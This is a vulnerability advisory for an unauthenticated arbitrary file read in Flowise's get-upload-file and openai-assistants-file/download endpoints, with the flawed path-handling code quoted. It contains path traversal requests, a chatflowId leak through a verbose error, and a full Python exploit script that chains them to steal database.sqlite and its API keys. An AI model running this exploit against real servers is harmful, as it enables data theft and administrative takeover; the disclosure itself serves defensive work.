Vulnerability Database
296,278
Total vulnerabilities in the database
Flowise has an Arbitrary File Read
Summary
An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.
Details
Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().
const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string
...
const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)
While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.
// Validate chatflowId
if (!chatflowId || !isValidUUID(chatflowId)) {
throw new Error('Invalid chatflowId format - must be a valid UUID')
}
// Check for path traversal attempts
if (isPathTraversal(chatflowId)) {
throw new Error('Invalid path characters detected in chatflowId')
}
...
const sanitizedFilename = sanitize(fileName)
...
const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)
There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.
if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)
However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.
if (fs.existsSync(filePath)) {
return fs.createReadStream(filePath)
} else {
// Fallback: Check if file exists without orgId
const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)
if (fs.existsSync(fallbackPath)) {
// Create directory if it doesn't exist
const dir = path.dirname(filePath)
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
// Copy file to correct location with orgId
fs.copyFileSync(fallbackPath, filePath)
// Delete the old file
fs.unlinkSync(fallbackPath)
// Clean up empty directories recursively
_cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))
return fs.createReadStream(filePath)
As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.
REQUEST
GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000
RESPONSE
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl
ÍS=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume
...
Similarly, for /api/v1/openai-assistants-file/download:
REQUEST
POST /api/v1/openai-assistants-file/download HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 100
{"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"}
RESPONSE
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 08:55:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ
...
This includes all API keys used by the application (apiKey table), which can be used to gain administrative access.
As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.
Interaction with these endpoints requires knowledge of a valid chatflowId. As a UUID, this is inherently unguessable. However, the /api/v1/vector/upsert/ endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated chatflowId.
REQUEST
POST /api/v1/vector/upsert/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain
------WebKitFormBoundary7MA4YWxkTrZu0gW--
RESPONSE
HTTP/1.1 500 Internal Server Error
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 240
ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U"
Date: Tue, 22 Jul 2025 08:14:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}}
In this case the UUID is revealed as 188903b1-d06d-4f93-9415-400015b87146, which can then be used to exploit the file read vulnerability.
PoC
Run Flowise:
docker run --rm -p 3000:3000 flowiseai/flowise
Complete install & create a Chatflow: <img width="575" height="299" alt="image" src="https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b" />
Save this script to read.py:
import argparse
import re
import requests
def read_file(url, file_path, proxy):
base_url = url
proxies = {'http': proxy, 'https': proxy} if proxy else None
print(f">> starting exploit against {base_url}")
if proxy:
print(f">> using proxy: {proxy}")
try:
print("[*] step 1: leaking chatflowid")
initial_headers = {}
files = {'files': ('?', 'asdf', 'text/plain')}
response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies)
chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", ""))
if len(chatflow_id_matches) < 2:
print("[-] failed to leak chatflowid.")
return
chatflow_id = chatflow_id_matches[1]
print(f"[+] got chatflowid: {chatflow_id}")
print(f"[*] step 2: reading file: {file_path}")
internal_headers = {'x-request-from': 'internal'}
params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}
response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies)
if response.status_code != 200:
print(f"[-] failed to read file (status: {response.status_code}).")
print(response.text)
return
file_content = response.text
print(f"[+] successfully read file ({len(response.content)} bytes).")
print("\n--- file content ---")
print(file_content)
print("--------------------\n")
except requests.exceptions.RequestException as e:
print(f"\n[-] an unexpected error occurred: {e}")
except Exception as e:
print(f"\n[-] an unexpected error occurred: {e}")
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Read arbitrary files")
parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)")
parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)")
parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
read_file(args.url, args.file, args.proxy)
Run the script against http://127.0.0.1:3000:
python3 read.py -u http://127.0.0.1:3000 -f database.sqlite
>> starting exploit against http://127.0.0.1:3000
[*] step 1: leaking chatflowid
[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb
[*] step 2: reading file: database.sqlite
[+] successfully read file (385024 bytes).
--- file content ---
ÕÇêS=*'';,O)indexsqlite_autoindex...
Impact
This allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.
